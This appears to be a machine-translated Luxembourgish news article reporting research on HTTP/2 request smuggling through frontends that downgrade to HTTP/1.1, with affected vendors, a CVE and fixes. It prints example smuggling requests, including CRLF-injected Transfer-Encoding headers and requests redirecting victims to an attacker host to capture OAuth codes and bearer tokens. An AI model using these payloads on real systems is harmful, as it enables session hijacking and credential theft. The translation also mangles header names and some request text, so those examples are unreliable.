Websystemer, an deenen de Frontend Verbindungen iwwer HTTP/2 akzeptéiert an se op de Backend iwwer HTTP/1.1 iwwerdréit, goufen un enger neier Variant vum Attack "HTTP Request Smuggling" ausgesat, wat et erlaabt, andeems se speziell entwéckelt Client Ufroe schécken, Keil an den Inhalt vun Ufroe vun anere Benotzer, déi am selwechte Floss tëscht Frontend a Backend veraarbecht ginn. D'Attack kann benotzt ginn fir béiswëlleg JavaScript Code an eng Sessioun mat enger legitimer Websäit ze setzen, Zougangsbeschränkungssystemer ëmzegoen an Authentifikatiounsparameter z'ënnerscheeden.
De Problem beaflosst Webproxyen, Lastbalancer, Webacceleratoren, Inhaltsliwwerungssystemer an aner Konfiguratiounen, an deenen Ufroen op eng Front-End-zu-Backend Manéier ëmgeleet ginn. Den Auteur vun der Studie huet d'Méiglechkeet bewisen d'Systemer vun Netflix, Verizon, Bitbucket, Netlify CDN an Atlassian z'attackéieren, a krut 56 Tausend Dollar u Belounungsprogrammer fir d'Identifikatioun vun Schwachstelle. De Problem gouf och a F5 Networks Produkter bestätegt. De Problem beaflosst deelweis mod_proxy am Apache http Server (CVE-2021-33193), e Fix gëtt an der Versioun 2.4.49 erwaart (d'Entwéckler goufen Ufank Mee vum Problem informéiert a kruten 3 Méint fir et ze fixéieren). Am nginx ass d'Fäegkeet fir gläichzäiteg d'Header "Content-Length" an "Transfer-Encoding" ze spezifizéieren an der leschter Verëffentlechung (1.21.1) blockéiert. Attack Tools si schonn am Burp Toolkit abegraff a sinn a Form vun der Turbo Intruder Extensioun verfügbar.
De Prinzip vun der Operatioun vun der neier Method fir Ufroen an de Traffic ze wedging ass ähnlech wéi d'Schwachheet, déi vum selwechte Fuerscher virun zwee Joer identifizéiert gouf, awer limitéiert op Frontends déi Ufroen iwwer HTTP/1.1 akzeptéieren. Loosst eis drun erënneren datt am Frontend-Backend Schema Client Ufroe vun engem zousätzleche Node kritt ginn - de Frontend, deen eng laanglieweg TCP Verbindung mam Backend etabléiert, deen direkt Ufroe veraarbecht. Duerch dës gemeinsam Verbindung ginn normalerweis Ufroe vu verschiddene Benotzer iwwerdroen, déi d'Kette een nom aneren verfollegen, mat Hëllef vum HTTP-Protokoll getrennt.
De klassesche "HTTP Request Smuggling" Attack baséiert op der Tatsaach datt Frontends a Backends d'Benotzung vun HTTP Header "Content-Length" interpretéieren (bestëmmt d'Gesamtgréisst vun den Daten an der Ufro) an "Transfer-Encoding: chunked" (erlaabt Daten an Deeler ze transferéieren) anescht. . Zum Beispill, wann de Frontend nëmmen "Content-Length" ënnerstëtzt awer "Transfer-Encoding: chunked" ignoréiert, da kéint en Ugräifer eng Ufro schécken, déi souwuel den "Content-Length" wéi och "Transfer-Encoding: chunked" Header enthält, awer d'Gréisst ass "Content-Length" entsprécht net der Gréisst vun der chunked Kette. An dësem Fall wäert de Frontend d'Ufro am Aklang mat "Content-Length" veraarbecht a redirectéieren, an de Backend waart op d'Fäerdegstellung vum Block baséiert op "Transfer-Encoding: chunked" an de verbleiwen Schwanz vun der Ufro vum Ugräifer wäert ginn um Ufank vun engem aneren seng Demande iwwerdroen nächste.
Am Géigesaz zum Textprotokoll HTTP/1.1, deen um Zeilniveau parséiert gëtt, ass HTTP/2 e binäre Protokoll a manipuléiert Dateblocken vun enger viraus spezifizéierter Gréisst. Wéi och ëmmer, HTTP/2 benotzt Pseudo-Header déi mat normale HTTP-Header entspriechen. Am Fall vun Interaktioun mam Backend iwwer den HTTP/1.1 Protokoll iwwersetzt de Frontend dës Pseudo-Header an ähnlech HTTP Header HTTP/1.1. De Problem ass datt de Backend Entscheedungen iwwer d'Parsing vum Stream baséiert op den HTTP-Header, déi vum Frontend festgeluecht goufen, ouni Informatioun iwwer d'Parameter vun der ursprénglecher Ufro ze hunn.
Besonnesch d'Wäerter "Inhaltslängt" an "Transferkodéierung" kënnen a Form vu Pseudo-Header iwwerdroe ginn, trotz der Tatsaach, datt se net an HTTP/2 benotzt ginn, well d'Gréisst vun allen Donnéeën bestëmmt gëtt. an engem separaten Terrain. Wéi och ëmmer, wärend dem Prozess vun der Konvertéierung vun enger HTTP/2 Ufro op HTTP/1.1, ginn dës Header iwwerdroen a kënnen de Backend duercherneen bréngen. Et ginn zwou Haaptattackvarianten: H2.TE an H2.CL, an deem de Backend duerch eng falsch Transferkodéierung oder Inhaltslängt-Wäert falsch ass, deen net mat der aktueller Gréisst vum Ufrokierper entsprécht, deen vum Frontend iwwer de Frontend kritt gëtt HTTP/2 Protokoll.
E Beispill vun engem H2.CL Attack ass eng falsch Gréisst am Inhaltslängt Pseudo-Header ze spezifizéieren wann Dir eng HTTP/2 Ufro un Netflix schéckt. Dës Ufro féiert zum Zousatz vun engem ähnlechen HTTP Header Content-Length beim Zougang zum Backend iwwer HTTP/1.1, awer well d'Gréisst an Content-Length manner spezifizéiert ass wéi déi tatsächlech, gëtt en Deel vun den Donnéeën am Schwanz veraarbecht wéi de Ufank vun der nächster Ufro.
Zum Beispill, frot HTTP/2: Method POST: Wee / n: Autoritéit www.netflix.com Inhaltslängt 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: Bar
Gitt eng Ufro un de Backend geschéckt: POST /n HTTP/1.1 Host: www.netflix.com Inhalt-Längt: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Well Content-Length e Wäert vu 4 huet, akzeptéiert de Backend nëmmen "abcd" als Kierper vun der Ufro, an de Rescht vun "GET /n HTTP/1.1 ..." gëtt als Ufank vun enger spéiderer Ufro veraarbecht. mat engem anere Benotzer assoziéiert. Deementspriechend gëtt de Stream desynchroniséiert an als Äntwert op déi nächst Ufro gëtt d'Resultat vun der Veraarbechtung vun der Dummy-Ufro ausgestallt. Am Fall vun Netflix, d'Spezifikatioun vun engem Drëtt-Partei-Host am Header "Host:" an enger Dummy-Ufro huet dozou gefouert datt de Client d'Äntwert zréckginn "Location: https://02.rs?x.netflix.com/n" an erlaabt arbiträr Inhalt un de Client geschéckt ze ginn, dorënner Run Äre JavaScript Code am Kontext vun der Netflix Site.
Déi zweet Attackoptioun (H2.TE) beinhalt d'Ersetzen vum "Transfer-Encoding: chunked" Header. D'Benotzung vum Transferkodéierungs-Pseudo-Header an HTTP/2 ass vun der Spezifizéierung verbueden an Ufroe mat deem si verschriwwen als falsch behandelt ze ginn. Trotzdem, huelen e puer Frontend-Implementatiounen dës Ufuerderung net berücksichtegt an erlaben d'Benotzung vun engem Transfer-Kodéierungs-Pseudo-Header an HTTP/2, deen an en ähnlechen HTTP-Header ëmgewandelt gëtt. Wann et e "Transfer-Encoding" Header gëtt, kann de Backend et als eng méi héich Prioritéit huelen an d'Donnéeën Stéck fir Stéck am "Chunked" Modus parséieren mat Block vu verschiddene Gréissten am Format "{Gréisst}\r\n{block" }\r\n{Gréisst} \r\n{Block}\r\n0", trotz der initialer Divisioun no Gesamtgréisst.
D'Präsenz vun esou engem Spalt gouf duerch d'Beispill vu Verizon bewisen. De Problem betrëfft den Authentifikatiounsportal an den Inhaltsverwaltungssystem, deen och op Siten wéi Huffington Post an Engadget benotzt gëtt. Zum Beispill, eng Client Ufro iwwer HTTP/2:: Method POST: Wee /identitfy/XUI:Autoritéit id.b2b.oath.com Transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Inhalt-Längt: 10 x =
Resultéiert fir eng HTTP/1.1 Ufro un de Backend ze schécken: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Inhalt- Längt: 10x=
De Backend, am Tour, ignoréiert den "Content-Length" Header an huet In-Stream Spaltung baséiert op "Transfer-Encoding: chunked". An der Praxis huet d'Attack et méiglech gemaach d'Benotzer Ufroe op hir Websäit ze redirectéieren, ënner anerem d'Interceptioun vun Ufroen am Zesummenhang mat der OAuth Authentifikatioun, d'Parameter vun deenen am Referer Header ugewise goufen, wéi och eng Authentifikatiounssimuléierung an d'Ausléisung vum System vum Benotzer fir Umeldungsinformatiounen ze schécken. dem Host vum Ugräifer. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorisatioun: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6…
Fir HTTP/2 Implementatiounen z'attackéieren, déi den Transfer-Kodéierungs-Pseudo-Header net spezifizéieren erlaben, ass eng aner Method proposéiert ginn, déi den Header "Transfer-Encoding" ersetzt andeems se et un aner Pseudo-Header befestegt, getrennt vun engem Newline Charakter ( wann ëmgewandelt op HTTP / 1.1 an dësem Fall erstellt zwee separat HTTP Header).
Zum Beispill, Atlassian Jira an Netlify CDN (benotzt fir d'Mozilla Startsäit am Firefox ze déngen) ware vun dësem Problem betraff. Besonnesch d'HTTP/2 Ufro :method POST :path / :authority start.mozilla.org foo b\r\n Transfer-Kodéierung: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-Domain\r\n Inhalt-Längt: 5\r\n \r\nx=
gefouert datt HTTP/1.1 POST / HTTP/1.1 Ufro un de Backend geschéckt gouf\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Kodéierung: chunked\r\n Inhaltslängt : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-Domain\r\n Inhalt-Längt: 5\r\n \r \nx=
Eng aner Optioun fir den Header "Transfer-Encoding" z'ersetzen war et un den Numm vun engem anere Pseudo-Header ze befestigen oder op eng Linn mat enger Ufromethod. Zum Beispill, wann Dir Zougang zu Atlassian Jira, de Pseudo-Header Numm "foo:bar\r\ntransfer-encoding" mam Wäert "chunked" verursaacht datt d'HTTP-Header "foo:bar" an "transfer-encoding: chunked" bäigefüügt ginn. , a spezifizéieren Pseudo-Header ":method" Wäert "GET / HTTP/1.1\r\nTransfer-Kodéierung: chunked" gouf op "GET / HTTP/1.1\r\ntransfer-encoding: chunked" iwwersat.
De Fuerscher, deen de Problem identifizéiert huet, huet och eng Ufro-Tunneltechnik proposéiert fir Frontends z'attackéieren, an där all IP Adress eng separat Verbindung zum Backend etabléiert an de Verkéier vu verschiddene Benotzer net gemëscht gëtt. Déi proposéiert Technik erlaabt net d'Ufroe vun anere Benotzer ze stéieren, awer mécht et méiglech e gemeinsame Cache ze vergëften deen d'Veraarbechtung vun aneren Ufroen beaflosst, an erlaabt d'Ersatz vun internen HTTP Header benotzt fir Serviceinformatioun vum Frontend op de Backend ze transferéieren ( zum Beispill, wann Dir op der Frontend-Säit Authentifikatioun an Esou Header kann Informatioun iwwer den aktuelle Benotzer op de Backend iwwerdroen). Als e Beispill fir d'Method an der Praxis ëmzesetzen, mat Cache Vergëftung, war et méiglech Kontroll iwwer Säiten am Bitbucket Service ze kréien.
Source: opennet.ru